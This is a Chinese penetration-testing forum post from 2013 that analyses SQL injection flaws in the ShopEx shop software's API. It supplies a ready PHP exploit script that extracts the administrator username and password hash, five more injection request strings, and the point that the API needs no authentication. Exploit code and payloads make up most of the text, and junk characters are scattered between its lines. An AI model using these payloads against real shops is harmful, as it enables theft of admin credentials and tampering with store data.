中国网络渗透测试联盟

标题: shopEx最新版的API注入漏洞分析附利用exp [打印本页]

作者: admin    时间: 2013-7-27 18:34
标题: shopEx最新版的API注入漏洞分析附利用exp
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
( h' A: F1 D+ w6 score\api\payment\1.0\api_b2b_2_0_payment_cfg.php
) e! N4 ~# Z9 t* G" F: y
8 m* G0 c  q# x- E! H第44行 $data['columns'] 未做过滤导致注入9 x9 _+ r5 _8 E! J( p
( @! Q, T: G) x& }& z8 u2 E
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
8 c: H0 X9 q+ H) l! I) }
$ k* w! y7 V% U" |- j7 {' R/ `, I注射1:2 S  t. b# V. |$ v, l+ B
+ p6 U. G4 M1 T4 n/ o- T
http://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
0 i# A6 K4 p! j1 y: u6 j
" {: d8 U, ~" V. d" G$ @2 ]% z8 X注射2:
. l, ~1 l+ U" {9 S7 x: phttp://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}& E/ v3 {/ B9 e3 V" J* f1 p+ h

' m6 W2 n* O$ t9 Y7 t注射3:
9 y1 N0 y* R2 l% v3 I  http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx( n" b$ f, R6 @% q4 c. t8 S
注射4:
: g, u( z( \. F
% ~' b  m  X% g  w) Q+ Phttp://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
, }1 \! D, I, a5 k; }" B2 `# T
- A* m, @1 ]. \3 N! B9 l; `( e3 C) \+ `. y
注射5:
  x2 r& M) m# e9 q% ]4 Q' k  http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx
* z4 k- Z& x. n+ P% i* g$ n
+ ]# j- B% I6 g$ v/ x& N5 P% v1 i/ k8 m" I' r6 q
; ?' Y( I4 R! o' u
, ^: k0 z& j5 c
8 y% p( }& C# w4 R+ {% F5 L! X1 k& k0 }

) G  W* ?, H; X; I




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2